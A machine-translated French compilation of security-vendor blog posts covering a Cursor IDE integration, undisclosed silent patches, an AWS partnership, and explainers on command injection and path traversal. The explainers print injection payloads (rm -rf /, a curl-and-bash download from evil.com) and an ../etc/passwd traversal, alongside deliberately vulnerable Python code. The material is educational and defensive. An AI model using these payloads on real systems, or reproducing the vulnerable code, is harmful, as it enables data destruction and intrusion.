Bienvenue sur notre blog.

Cursor AI est rapidement devenu l'éditeur de code d'IA le plus en vogue, gagnant rapidement en popularité auprès des développeurs qui cherchent à écrire du code plus rapidement et plus efficacement. Mais si Cursor accélère le codage, comment les développeurs peuvent-ils être sûrs que le code Gen AI est sécurisé ?

TL;DR : avec Aikido x Cursor, les développeurs peuvent sécuriser leur code au fur et à mesure qu'il est généré.

Si vous avez manqué le battage médiatique jusqu'à présent, Cursor est un IDE "AI Native" construit sur VSCode. Il opère dans un domaine de plus en plus encombré de startups de copilotage de codage Gen AI, en concurrence avec Github Co-pilot, Cognition, Poolside, Magic, et Augment entre autres.

Alors que Cursor a été fondé en 2022, ce n'est qu'à la mi-2024 que Cursor a commencé son ascension fulgurante vers la tête de la course au code Gen AI, à peu près au même moment où Cursor a ajouté Sonnet 3.5M comme modèle par défaut... Voici un extrait de l'édition de la semaine dernière de "The Pragmatic Engineer" de Gregely Orosz, la lettre d'information technologique n° 1 sur substack, qui montre comment les développeurs classent les différents IDE en fonction des caractéristiques de la GenAI :

Bien que les personnes interrogées soient probablement pour la plupart des early adopters, il est tout de même assez impressionnant de voir Cursor, en tant que nouvel entrant, conquérir les cœurs et les esprits aussi rapidement. Il n'est pas surprenant qu'elle ait depuis levé 60 millions de dollars en financement de série A auprès d'Andreessen Horowitz, de Thrive Capital, d'OpenAI, de Jeff Dean, de Noam Brown et des fondateurs de Stripe, GitHub, Ramp, Perplexity et OpenAI, entre autres.

C'est pourquoi Aikido Security est heureux de lancer sa nouvelle intégration avec Cursor AI. Aikido x Cursor apporte la sécurité en temps réel dans l'IDE Cursor, aidant les développeurs à écrire et à générer du code sécurisé dès le départ, sans perdre de temps.

Comment fonctionne l'intégration

Aujourd'hui, vous pouvez intégrer Aikido directement dans votre IDE Cursor. Aikido analysera votre base de code à la recherche de secrets, de clés API et de problèmes de code SAST pendant que vous développez, à chaque fois que vous ouvrez ou enregistrez un fichier.

Si des problèmes sont détectés, Aikido les met en évidence dans l'éditeur et les affiche dans le panneau Problèmes. Lorsque vous survolez un problème SAST détecté, des informations supplémentaires sur le problème sont fournies. Dans certains cas, vous pouvez même corriger les problèmes avec les suggestions de Cursor dans le chat (bien qu'il soit encore rouillé).

1. Détection instantanée des vulnérabilités
   Aikido analyse le code au fur et à mesure qu'il est généré, identifiant ainsi les vulnérabilités de sécurité en temps réel. Des explications claires et concises vous permettent de savoir quel est le problème et pourquoi il est important - pas de rapports trop compliqués.
2. Corriger les problèmes en un seul clic
   Lorsqu'une vulnérabilité est signalée, Cursor peut générer des suggestions de correction en un seul clic. Vous pouvez l'appliquer directement depuis l'interface de chat de Cursor. Sachez que toutes les suggestions de Cursor ne sont pas valables.
3. Restez concentré
   Tout se passe dans l'IDE Cursor. Il n'est pas nécessaire de changer d'outil, d'exécuter des scans externes ou de jongler avec des plates-formes distinctes. Aikido s'intègre de manière transparente dans l'IDE, ce qui vous permet de vous concentrer sur la construction tout en sachant que votre code est sécurisé.

Pourquoi c'est important

L'impact de l'IA sur l'ingénierie ne fait aucun doute. Les générateurs de code d'IA ou les copilotes ne sont pas infaillibles. D'une part, l'IA générique peut être utilisée pour renforcer la sécurité (nous y reviendrons très bientôt !). D'autre part, elle introduira inévitablement des vulnérabilités. Nous attendons tous le jour où l'IA sera capable d'en finir avec les détails. Aujourd'hui, nous nous en rapprochons.

Cette intégration permet aux développeurs de rester dans la course et de créer des applications sécurisées tout en exploitant le meilleur des outils pilotés par l'IA et en étant assurés que le résultat est sécurisé. La sécurité, c'est fait. Retournez à la construction.

Commencez

L'intégration d'Aikido est disponible dès maintenant pour les utilisateurs de Cursor. Pour l'instant, vous aurez besoin d'un abonnement payant pour l'intégrer. Suivez les étapes ci-dessous :

Étape 1. Rendez-vous sur le Visual Studio Code Marketplace et suivez les instructions pour installer une extension dans Cursor.

Etape 2. Dans Aikido, allez sur la page d'intégration de Cursor IDE et créez votre jeton.

Étape 3. Consultez les exemples dans notre documentation sur Visual Studio Marketplace pour vérifier que tout fonctionne bien.

Étape 4. Reprendre la construction.

Sécurisez votre code tel qu'il est écrit et généré.

Intel est notre flux de menaces de sécurité open-source alimenté par l'IA et notre équipe de recherche interne. Intel surveille et découvre les vulnérabilités des logiciels libres avant qu'elles ne soient divulguées. Beaucoup ne le sont jamais.

67 % des failles logicielles corrigées silencieusement n'ont jamais été divulguées

Les logiciels libres alimentent le monde, littéralement. Cependant, la sécurité des logiciels libres est également un domaine qui suscite d'énormes préoccupations en matière de sécurité. Les outils open-source, comme tout le reste, peuvent introduire des failles de sécurité. Celles-ci peuvent être utilisées par des pirates pour exploiter votre application. Les vendeurs de logiciels sont ainsi exposés à des attaques dont ils ne sont pas responsables. La sécurité des logiciels libres est donc un sujet très important.

Nous comptons non seulement sur la communauté des logiciels libres pour construire et entretenir ces outils, mais aussi sur elle pour corriger toutes les failles de sécurité connues. Il est important de noter que nous comptons également sur ces mainteneurs pour signaler publiquement les vulnérabilités lorsqu'elles sont découvertes. La divulgation publique des vulnérabilités par la communauté constitue le fondement de la sécurité des logiciels libres.

Le patching silencieux, ou patching fantôme, est l'application d'un correctif de sécurité (patching) qui n'est jamais divulgué. Il s'agit d'un problème important car cela signifie que les vendeurs peuvent utiliser des logiciels vulnérables sans être conscients du risque.

Nous lançons Aikido Intel pour faire sortir de l'ombre les logiciels silencieusement corrigés qui pourraient vous affecter. Avec Aikido Intel, nous pouvons avertir les développeurs le plus tôt possible si nous trouvons des vulnérabilités susceptibles de les affecter et d'améliorer la sécurité des logiciels libres.

Qu'est-ce que l'Aikido Intel ?

Aikido Intel est une initiative d'AI et de notre équipe de recherche interne visant à améliorer la sécurité des logiciels libres en découvrant les vulnérabilités dans la chaîne d'approvisionnement des logiciels libres le plus tôt possible. Avant même qu'elles ne soient divulguées dans une base de données de vulnérabilités. Pour ce faire, nous utilisons des LLMs formés sur mesure pour examiner les changements dans les paquets et identifier quand un problème de sécurité a été corrigé.

Comme tous les logiciels, les logiciels libres conservent un journal des modifications apportées à chaque nouvelle version. Intel utilise l'intelligence artificielle pour lire tous ces journaux de modifications publics et ces notes de version afin de trouver des exemples de correctifs apportés à des problèmes de sécurité. Ces informations sont ensuite comparées à cinq bases de données de vulnérabilités pour vérifier si le problème a été signalé. Si ce n'est pas le cas, un ingénieur en sécurité analyse et évalue la vulnérabilité, lui attribue un numéro de vulnérabilité Aikido et une gravité, puis l'annonce publiquement afin que vous sachiez si vous êtes concerné. Vous trouverez plus de détails à ce sujet un peu plus loin.

Checkout Aikido Intel maintenant

Aikido Intel en chiffres

Depuis son lancement en janvier, Aikido, Intel a découvert 511 vulnérabilités qui ont été corrigées mais n'ont pas été rendues publiques, ce qui représente une menace réelle pour tous ceux qui utilisent ces logiciels.

Il peut parfois s'écouler un certain temps entre le moment où une vulnérabilité est corrigée et celui où un numéro CVE est attribué au problème. Chaque semaine, Aikido réévalue l'état des vulnérabilités précédentes pour voir si un numéro CVE leur a été attribué. Nous pouvons révéler que 67% des vulnérabilités que nous avons découvertes n'ont jamais été divulguées publiquement dans une base de données de vulnérabilités !

S'il n'est pas surprenant que les vulnérabilités de faible gravité soient plus souvent corrigées silencieusement, il est tout de même choquant de constater que plus de 50 % des vulnérabilités importantes et critiques ne sont jamais divulguées. Cela crée un énorme angle mort pour les développeurs et les vendeurs de logiciels.

Je sais que certains d'entre vous vont se tortiller sur leur siège en se disant qu'il s'agit peut-être de petits projets open-source, pas très populaires, avec des politiques de sécurité limitées, mais en fait, vous auriez tort. Nous avons trouvé des vulnérabilités non divulguées dans de très grands projets. .

Axios, un client HTTP basé sur des promesses pour le navigateur et node.js avec 56 millions de téléchargements hebdomadaires et 146 000 + dépendants, a corrigé une vulnérabilité pour un prototype de pollution en janvier 2024 qui n'a jamais été divulguée publiquement.

Fait amusant à propos de cette vulnérabilité : Il s'agit en fait de la première vulnérabilité découverte par Aikido Intel (voir le numéro 2023-10001).... Elle n'a toujours pas été révélée à ce jour !

Axios n'est pas le seul, il y a quelques autres noms qui méritent une mention spéciale. Apache a silencieusement corrigé une vulnérabilité dans le logiciel echarts pour le cross-site scripting qui n'a jamais été divulguée.

Un autre exemple intéressant que nous avons découvert est une vulnérabilité critique de traversée de chemin dans le Chainlit qui a été corrigée en septembre, mais la vulnérabilité n'a jamais été divulguée publiquement.

Les vulnérabilités les plus courantes

Les scripts intersites constituent la vulnérabilité non divulguée la plus courante (14,8 %), suivie de l'exposition d'informations sensibles (12,3 %). Dans l'ensemble, nous avons détecté 90 types différents de vulnérabilités, ce qui a donné lieu à une longue série de résultats, dont voici quelques-uns des plus courants.

Les vulnérabilités les plus courantes découvertes

Si l'on se limite aux vulnérabilités cuticulaires et aux vulnérabilités élevées, le tableau est légèrement différent, l'exécution de code à distance occupant la première place de la liste.

Les vulnérabilités les plus courantes découvertes - critiques et élevées seulement

Délai de divulgation

Alors qu'au moment de la rédaction de cet article, 67 % des paquets n'ont jamais révélé leurs vulnérabilités, 31 % l'ont fait, que ce soit de la part des responsables ou des chercheurs en sécurité (bravo à eux). Parmi les paquets qui ont révélé leurs vulnérabilités, il s'est écoulé en moyenne 27 jours entre le moment où le correctif a été publié et celui où un CVE a été attribué. Le délai le plus court que nous ayons observé est de 1 jour et le plus long de 9 mois !

Comment fonctionne Intel (en détail)

Je sais que nous en avons tous assez des nouvelles conneries sur l'IA, mais Intel est une initiative de l'équipe de recherche en sécurité d'Aikido et l'équipe d'IA d'Aikido utilise l'IA avec un humain dans la boucle pour fournir un flux de menaces public afin d'améliorer la sécurité des sources ouvertes.

Intel travaille en lisant tous les changelogs et notes de version disponibles publiquement pour comprendre si des correctifs de sécurité ont été apportés mais n'ont pas été divulgués. Pour ce faire, deux modèles LLM sont utilisés, l'un pour filtrer les données et supprimer tout contexte inutile afin que le second LLM puisse se concentrer sur l'analyse des vulnérabilités. Un ingénieur en sécurité humain examine ensuite les découvertes du LLM, valide les résultats et publie un Intel lorsqu'une vulnérabilité est confirmée.

Cette méthode est très efficace car elle consomme beaucoup moins de puissance de calcul que l'analyse de tous ces systèmes à la recherche de vulnérabilités. Pourtant, il a fallu plus d'un an pour obtenir de nombreux résultats concrets.

Comment les Changelogs sont vus par Aikido Intel

Les listes de modifications sont des documents conservés dans les projets open-source qui enregistrent les mises à jour, les corrections de bogues, les ajouts de fonctionnalités et les correctifs. En voici quelques exemples CHANGELOG.md les messages de validation et les notes de version de GitHub.

L'Intel LLM identifie les entrées suggérant des changements liés à la sécurité en recherchant les éléments suivants :

• Mots clés : "vulnérabilité", "sécurité", "correction", "exploit", "validation d'entrée", etc.
• Indices contextuels : "Correction d'un bogue critique", "Correction d'un débordement de mémoire tampon", "Résolution de problèmes d'authentification".

Exemple d'entrées signalées par le LLM :
- Correction d'un problème de vérification des entrées dans le gestionnaire de connexion.
- Résolution d'une fuite de mémoire pouvant entraîner des attaques par déni de service.
- Correction d'une vulnérabilité de traversée de chemin dans la fonctionnalité de téléchargement de fichiers.

Sécurité des logiciels libres, comment les vulnérabilités sont divulguées correctement

Comme indiqué précédemment, la divulgation publique est un élément important de la sécurité des logiciels libres. Plusieurs bases de données différentes sont utilisées pour révéler la présence d'une vulnérabilité dans un logiciel. La principale est la base de données nationale sur les vulnérabilités (NVD), gérée par le gouvernement américain. Cette base de données n'est pas seulement utilisée par les entreprises pour vérifier leur chaîne d'approvisionnement, mais aussi par les logiciels de sécurité qui vérifient les projets par rapport à cette base de données et à d'autres (logiciel SCA). Il existe de nombreuses autres bases de données, notamment la base de données Common Vulnerabilities and Exposures (CVE) de Mitre, la base de données GitHub Advisory, et bien d'autres encore, au total Aikido vérifie 5 bases de données différentes. Mais ce que la plupart de ces bases de données ont en commun, c'est qu'elles exigent que les vulnérabilités soient divulguées publiquement, généralement après qu'un correctif ait été publié.

Pourquoi les vulnérabilités ne sont-elles pas divulguées ?

C'est une bonne question et je voudrais commencer par dire qu'il n'y a aucune bonne raison de ne pas divulguer les vulnérabilités. La raison la plus courante est peut-être le risque de réputation, le fait que votre logiciel puisse être considéré comme non sécurisé, mais je dirais qu'il y a beaucoup plus à perdre à ne pas divulguer qu'à divulguer.

Pourquoi le "shadow patching" est un problème pour la sécurité des logiciels libres

Ne pas divulguer publiquement les vulnérabilités de votre logiciel crée un risque énorme pour vos utilisateurs. Comme le dit le proverbe, si ce n'est pas cassé, ne le réparez pas, et cela s'applique souvent aux logiciels.

La mise à jour des composants de votre logiciel peut souvent créer des problèmes de performance et de convivialité ou tout simplement casser votre application. C'est pourquoi il n'est pas toujours courant de mettre à jour les paquets dès qu'une nouvelle version est disponible.

Cependant, lorsqu'un composant présente un problème de sécurité, il est important de le savoir car cela modifie l'urgence avec laquelle vous mettez à jour vos composants open-source et tiers. Ne pas divulguer cette information signifie que les utilisateurs sont moins susceptibles de mettre à jour, ce qui signifie qu'ils auront des failles de sécurité dans leurs outils qu'ils ne connaissaient pas, d'où le problème du "shadow patching".

Ne laissez pas des vulnérabilités cachées compromettre votre sécurité.

Associez-vous dès aujourd'hui à Aikido Security pour protéger votre chaîne d'approvisionnement et gagner en tranquillité d'esprit.

Si vous l'avez manqué, au cours de l'été, nous avons lancé notre produit sur le marché AWS en promettant d'offrir aux nouveaux utilisateurs d'AWS le "time-to-security" le plus rapide de l'industrie.

Nous avons également rejoint officiellement le réseau de partenaires AWS (APN) en tant que partenaire AWS validé.

Cela signifie que nous avons passé l'examen technique fondamental d'AWS (FTR). Nous sommes approuvés par le FTR* et répondons aux bonnes pratiques architecturales mises en œuvre par AWS, sans vouloir nous vanter ;)

Vous pourrez bientôt utiliser l'Aïkido pour obtenir l'approbation de la FTR. Nous sommes en train de mettre en correspondance les fonctionnalités d'Aikido avec le processus de sécurité FTR, afin que vous puissiez vous lancer, fonctionner et co-vendre avec AWS rapidement. Vous êtes intéressé ? → inscrivez-vous ici et vous serez le premier à savoir quand.

Au-delà de l'élégant badge de partenaire, nous sommes ravis d'être un partenaire officiel d'AWS et d'avoir ainsi un meilleur accès à la communauté AWS. Nous pouvons mieux servir les clients cloud-native, réduire la complexité inutile dans le parcours client et développer notre propre produit Cloud Security Posture Management (CSPM) pour les utilisateurs d'AWS Cloud.

Pourquoi ajouter l'aïkido à votre facture AWS ?

Aikido Security offre une couverture complète du code au nuage, s'alignant bien avec les capacités de la pile complète d'AWS. Cela est particulièrement utile pour les clients d'AWS qui gèrent la sécurité des applications et du cloud sur une plateforme unifiée.

L'intégration directe avec les environnements AWS simplifie le déploiement, permettant à Aikido d'analyser les vulnérabilités à travers les services AWS comme EC2, S3, Lambda, et plus encore - améliorant la visibilité de la sécurité au sein d'AWS et complétant l'architecture cloud-native. La gestion de la posture AWS d'Aikido s'appuie sur AWS Inspector. Nous pouvons vous montrer les résultats qui peuvent amener les pirates à obtenir un accès initial à votre cloud.

De plus, les contrôles de conformité intégrés d'Aikido contrôles de conformité intégrés d'Aikido s'alignent sur les principales normes (SOC2, ISO 27001, NIS 2, HIPAA), ce qui permet aux clients d'AWS de maintenir plus facilement la conformité de l'infrastructure AWS, ce qui est particulièrement utile pour les industries réglementées.

Intéressé(e) par une démonstration ? Venez nous trouver sur la place de marché AWS

Qu'est-ce que l'injection de commande ?

L'injection de commandes est une vulnérabilité encore très répandue dans les applications web, bien qu'elle soit moins connue que ses cousines l'injection SQL ou l'injection de code. Si vous êtes familier avec d'autres vulnérabilités d'injection, vous reconnaîtrez le principe commun : une entrée utilisateur non fiable n'est pas correctement validée, ce qui conduit à l'exécution de commandes système arbitraires. Cette faille se produit lorsque des données non validées sont transmises à des fonctions de niveau système. Quelle est l'importance de l'injection de commandes ? Nous avons examiné la fréquence de cette vulnérabilité dans la nature, et *spoiler*, elle est étonnamment courante !

Exemple d'injection de commande

Prenons l'exemple suivant d'injection de commande : supposons que vous ayez une application dans laquelle vous pouvez saisir le nom d'un fichier hébergé sur un serveur. L'application récupère ce fichier en écrivant son contenu. Le code correspondant est le suivant

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

Le code ci-dessus s'attend à ce que l'utilisateur insère un nom de fichier tel que fichier.txt mais au lieu de cela, un utilisateur malveillant injecte du code pour exécuter des commandes malveillantes.

Par exemple
Nom du fichier : file.txt ; rm -rf /

Cette entrée affiche d'abord le contenu de fichier.txt et exécute ensuite le fichier malveillant rm -rf qui supprime de force tous les fichiers d'un répertoire.

L'utilisateur malveillant peut faire cela parce que l'application n'a pas validé ou assaini l'entrée de l'utilisateur, ce qui rend l'application vulnérable à l'injection de commandes.

Si vous souhaitez un exemple plus complet, consultez le contenu bonus au bas de cette page. au bas de cette page.

L'injection de commande en chiffres : Nos recherches

• 7% de toutes les vulnérabilités trouvées dans les projets open-source en 2024 étaient des injections de commande.
• 5,8 % pour les projets à code source fermé !
• Une augmentation du nombre total de vulnérabilités d'injection de commandes dans les projets open-source de 2 348 (2023) à 2 600 (2024).
• En pourcentage de toutes les vulnérabilités, l'injection de commande devient moins populaire: une diminution de 14,6 % et de 26,4 % pour les projets open-source et closed-source respectivement de 2023 à 2024.

Notre recherche s'est concentrée sur l'étude des projets à code source ouvert et à code source fermé afin de déterminer combien d'entre eux contenaient des vulnérabilités d'injection de commande.

Dans l'ensemble, le nombre de vulnérabilités par injection de commandes est très élevé : 7 % de toutes les vulnérabilités signalées dans les projets à code source ouvert sont des injections de commandes et 5,8 % dans les projets à code source fermé. Ce chiffre est assez proche du nombre de vulnérabilités par injection de code SQL trouvées.

Il y a aussi de bonnes nouvelles à tirer de ces données, nous voyons une tendance solide à la réduction de ces vulnérabilités de 2023 à 2024. En pourcentage de toutes les vulnérabilités, nous avons constaté une réduction de 27 % dans les projets à code source fermé et de 14 % dans les projets à code source ouvert. Il est probable que de nombreux facteurs contribuent à cette évolution, mais l'un d'entre eux est que le FBI et la CISA ont signalé en 2024 que l'injection de commandes constituait une menace réelle et ont exhorté les fournisseurs à y prêter attention. D'après les données, cet avertissement a été entendu.

Les bonnes nouvelles s'arrêtent malheureusement là. Nous constatons toujours une augmentation du nombre global de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 2 348 en 2023 à 2 450 jusqu'à présent en 2024 (on s'attend à ce qu'il atteigne 2 600)

Comment prévenir l'injection de commandes

La prévention des vulnérabilités liées à l'injection de commandes nécessite une approche à multiples facettes :

Validation des entrées côté serveur

Une erreur fréquente consiste à n'effectuer que la validation côté client, qui peut être contournée par un pirate effectuant une requête directe.

import subprocess

# Exemple d'entrée restreinte
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Cela devrait venir de l'utilisateur, mais est validé

if user_input in allowed_files :
subprocess.Popen(['ls', '-l', user_input])
else :
print("Entrée non valide !")

Éviter les commandes shell

Remplacez les commandes de l'interpréteur de commandes par des fonctions ou des bibliothèques propres au langage lorsque cela est possible. Voici un exemple d'utilisation du mode lecture seule pour ouvrir un fichier et lire les contextes qu'il contient.

with open("file.txt", "r") as f :
print(f.read())

Tests automatisés

Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.

Utiliser un pare-feu intégré à l'application

L'une des meilleures défenses contre les attaques par injection est un pare-feu in-app qui est capable d'attraper et de bloquer les commandes malveillantes. Le pare-feu in-app d'Aikido, Zen, disponible en open-source et en version commerciale, est capable de détecter et de bloquer les attaques par injection au moment de l'exécution.

Appliquer le principe du moindre privilège

Configurer les applications et les utilisateurs pour qu'ils s'exécutent avec les privilèges minimums nécessaires, afin de réduire les dommages potentiels liés à l'exploitation.

La voie à suivre

L'injection de commandes ainsi que de nombreuses vulnérabilités d'injection est un défi, d'un point de vue technologique, nous l'avons résolu, ce qui signifie qu'il n'y a pas besoin d'avoir ce type de vulnérabilité dans vos applications. Cela étant, le fait que nous voyions encore autant de vulnérabilités de ce type signifie qu'il ne faut pas s'attendre à un bond en avant en matière d'amélioration.

L'injection de commandes restera un problème, mais comme nous avons constaté une baisse significative cette année, les grandes organisations ayant mis l'accent sur cette vulnérabilité, il y a lieu de penser que l'injection de commandes pourrait devenir moins importante à l'avenir si nous continuons à sensibiliser les gens à ce problème.

Contenu bonus

Histoire de l'injection de commande : Brèches importantes

L'injection de commandes est une menace persistante depuis longtemps. En fait, une importante vulnérabilité d'injection de commande était présente dans bash de 1989 à 2014. Plus récemment, en 2024, l'importance de l'injection de commandes a été soulignée par la CISA et le FBI, ce qui montre qu'il s'agit toujours d'une préoccupation majeure.

1. Les débuts de l'injection de commande

• Première utilisation connue : Les vulnérabilités liées à l'injection de commandes sont apparues avec l'essor des systèmes informatiques multi-utilisateurs dans les années 1970 et 1980, permettant aux attaquants d'exécuter des commandes arbitraires par le biais d'entrées non nettoyées.
• Années 1980 et 1990 : La prolifération des technologies web a conduit à une exploitation accrue de l'injection de commandes, en particulier par le biais de scripts CGI mal sécurisés.

2. Brèches et exploits importants

• 1998 : Première attaque documentée par injection de commandes sur le web : Une vulnérabilité dans un script CGI basé sur Perl, largement utilisé, a été exploitée, marquant l'un des premiers incidents majeurs d'injection de commandes sur le Web.
• 2010 : Ver Stuxnet (injection de commande intégrée) : Stuxnet a utilisé l'injection de commandes pour cibler les systèmes de contrôle industriels, démontrant ainsi la portée de la vulnérabilité au-delà des environnements informatiques traditionnels.

3. 2010s : Exploitation à grande échelle

• 2014 : Vulnérabilité Shellshock: Shellshock (CVE-2014-6271) a exploité le traitement des commandes de Bash, affectant des millions de systèmes dans le monde.
• 2018 : Exploitation du VPN de Cisco ASA (CVE-2018-0101): Une vulnérabilité d'injection de commande dans le logiciel ASA de Cisco permettait l'exécution de code à distance, compromettant la sécurité de l'entreprise.

4. 2020s : Exploits et tendances modernes

• 2020 : Exploitation de la passerelle ADC de Citrix : Des attaquants ont exploité des vulnérabilités d'injection de commandes dans les systèmes Citrix, ce qui a entraîné d'importantes violations de données.
• 2023 : Vulnérabilité de MOVEit (Injection SQL et de commande): Une faille d'injection de commande dans le logiciel de transfert MOVEit a conduit à des violations de données à grande échelle dans de nombreuses organisations.

Vulnérabilité de l'injection de commandes réalistes

Le code de la vulnérabilité

Examinons un exemple un peu plus complexe d'injection de commandes. Vous trouverez ci-dessous le code d'une application web Python simple. Elle permet aux utilisateurs de créer une archive ZIP de fichiers spécifiés en envoyant une requête POST à l'adresse /archive l'itinéraire.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Comment ça marche

L'utilisateur fournit :

• dossiers (par exemple, fichier1.txt fichier2.txt) pour spécifier les fichiers à inclure dans l'archive.
• Nom de l'archive pour spécifier le nom de l'archive zip résultante.

Le code construit une commande shell de manière dynamique :

1. zip nom_de_l'archive.zip fichier1.txt fichier2.txt

2. Les os.system() exécute la commande, permettant aux données fournies par l'utilisateur de dicter son comportement.

Exploitation

Un attaquant exploite ce problème en injectant des commandes supplémentaires dans le fichier Nom de l'archive ou dossiers les entrées.

Données fournies par l'attaquant :

• Nom de l'archive: mon_archive ; rm -rf /
• dossiers: fichier1.txt

Le commandement qui en découle :

zip my_archive.zip file1.txt ; rm -rf /

1. zip my_archive.zip file1.txt: Crée une archive comme prévu.
2. ; rm -rf /: Supprime tous les fichiers du serveur en exécutant une commande destructive distincte.

Un exemple plus sophistiqué

L'attaquant peut exploiter cette situation pour télécharger des logiciels malveillants ou exfiltrer des données :

Nom de l'archive: archive ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh

Commande résultante :

zip archive.zip file1.txt ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh

Cette commande :

1. Crée une archive (zip archive.zip file1.txt).
2. Téléchargement de codes malveillants (curl -o malware.sh http://evil.com/malware.sh).
3. Exécute le logiciel malveillant (bash malware.sh).
   

La traversée de chemin, également connue sous le nom de traversée de répertoire, se produit lorsqu'un utilisateur malveillant manipule des données fournies par l'utilisateur pour obtenir un accès non autorisé à des fichiers et à des répertoires. En général, l'attaquant tente d'accéder à des journaux et à des informations d'identification qui se trouvent dans des répertoires différents. La traversée de chemin n'est pas une vulnérabilité nouvelle et a été activement exploitée depuis les années 90, lorsque les serveurs web ont gagné en popularité, beaucoup s'appuyant sur des scripts CGI (Common Gateway Interface) pour exécuter un contenu dynamique côté serveur.

Avec une si longue histoire, le path traversal est-il encore populaire aujourd'hui ? Nous avons mené une étude sur les projets open-source et fermés afin de recueillir des données pour voir si la traversée de chemin était courante en 2024 et si nous nous améliorons, Spoilers nous ne le faisonspas.

Exemple de traversée de chemin

Comment fonctionne exactement la traversée de chemin ? Prenons un exemple simple.

Dans cette application simple, un utilisateur reçoit un fichier à télécharger via une variable dans l'URL.

Un simple code Python en arrière-plan gère la demande.

import os

def download_file(file) :
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path) :
with open(file_path, 'rb') as f :
return f.read()
else :
return "File not found"

Maintenant que la variable est fournie dans l'URL, nous pouvons la changer en quelque chose comme ceci file=../../../../etc/passwd

Dans ce cas, l'attaquant utilise l'option ../../ pour remonter la structure des répertoires jusqu'au niveau de la racine du système et accéder au fichier transmis, ce qui pourrait lui permettre d'accéder à des informations sensibles.

Si vous voulez voir comment cette méthode peut être sécurisée, faites défiler vers le bas jusqu'au contenu bonus.

Dans les scénarios plus complexes impliquant plusieurs couches de répertoires ou de caractères codés (par exemple, le %2e%2e%2f), les attaquants peuvent contourner les filtres de base et obtenir un accès plus profond au système de fichiers.

Traversée du chemin par les chiffres

• 2,7 % de toutes les vulnérabilités trouvées dans des projets open-source en 2024 jusqu'à présent étaient des traversées de chemin.
• 3,5 % pour les projets à code source fermé !
• Une augmentation du nombre total de vulnérabilités de traversée de chemin dans les projets open-source de 742 (2023) à 1 000 attendues (2024).
• En pourcentage de toutes les vulnérabilités, la traversée de chemin est de plus en plus courante, avec une augmentation massive de 85 % des projets à code source fermé.

Notre recherche s'est concentrée sur l'étude des projets à code source ouvert et à code source fermé afin de déterminer combien d'entre eux contenaient des vulnérabilités de traversée de chemin.

Dans l'ensemble, le nombre de vulnérabilités de traversée de chemin est inférieur à d'autres vulnérabilités que nous avons étudiées, telles que les injections de commande ou les injections SQL. Mais si l'on considère que cette vulnérabilité peut être très dangereuse et qu'il existe des solutions bien documentées pour l'éviter, il est alarmant de voir les chiffres aussi élevés. Il est encore plus alarmant de voir que les tendances pour cette vulnérabilité vont dans la mauvaise direction. f

Projets Open Source

Dans les projets open-source, la traversée de chemin représentait 2,6 % de toutes les vulnérabilités signalées en 2023. Ce chiffre a légèrement augmenté en 2024, passant à 2,75 %. Bien que cette augmentation puisse sembler marginale à première vue, elle souligne les défis permanents que pose la sécurisation des logiciels open-source contre les vulnérabilités les plus simples.

Projets à source fermée

La tendance la plus notable a été observée dans les projets à code source fermé, où les incidents de traversée de chemin sont passés de 1,9 % en 2023 à 3,5 % en 2024, soit une augmentation substantielle de 85 % qui met en évidence une tendance alarmante de ce type de vulnérabilité.

Les mauvaises nouvelles ne s'arrêtent malheureusement pas là. Nous constatons toujours une augmentation du nombre global de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 742 en 2023 à 917 jusqu'à présent en 2024 (on s'attend à ce qu'il atteigne 1 000).

Empêcher le franchissement des chemins d'accès

La prévention des vulnérabilités liées à l'injection de commandes nécessite une approche à multiples facettes :

Validation des entrées

• Assainissement des entrées utilisateur: Supprimer ou coder les caractères dangereux tels que ../, ..\, ..%2fou d'autres variations.
• Approche par liste d'autorisation: Définir un ensemble strict d'entrées autorisées (par exemple, des noms de fichiers ou des chemins d'accès) et rejeter tout ce qui ne figure pas sur cette liste.

Restreindre l'accès aux fichiers

• Utiliser une prison chroot ou un bac à sable: Limiter l'accès aux fichiers de l'application à un répertoire restreint, en veillant à ce qu'elle ne puisse pas aller au-delà de l'arborescence prévue.
• Définir les répertoires racines: Définir des répertoires de base et s'assurer que tous les chemins d'accès sont relatifs à ces répertoires. Utilisez des API ou des frameworks qui appliquent cette règle, tels que :java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() en Java.
  os.path.realpath() et os.path.commonpath() en Python.

Accès sécurisé aux fichiers

• Utiliser des méthodes d'accès aux fichiers sécurisées fournies par des bibliothèques ou des frameworks modernes:En Java, utiliser Files.newInputStream() ou Files.newBufferedReader() pour une manipulation sûre des fichiers.
  En PythonPour cela, assurez-vous de valider les chemins d'accès aux fichiers avant d'y accéder.

Restrictions de l'environnement d'utilisation

• Fixer des restrictions autorisations du système de fichiers:S'assurer que l'application ne dispose que des privilèges minimums requis.
  Interdire l'accès aux répertoires sensibles (par exemple, /etc, /var, /usret les répertoires personnels des utilisateurs).
• Désactiver les fonctions inutiles des serveurs web ou des frameworks (par exemple, le suivi des liens symboliques).

Tests automatisés

• Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.
• Les outils SAST et DAST doivent être utilisés conjointement avec l'analyse du domaine et la sécurité de l'informatique en nuage pour s'assurer qu'il n'existe pas de vulnérabilités de traversée de chemin cachées.

Utiliser un pare-feu intégré à l'application

• L'une des meilleures défenses contre les attaques par injection est un pare-feu intégré à l'application , capable d'intercepter et de bloquer les commandes malveillantes.

La voie à suivre

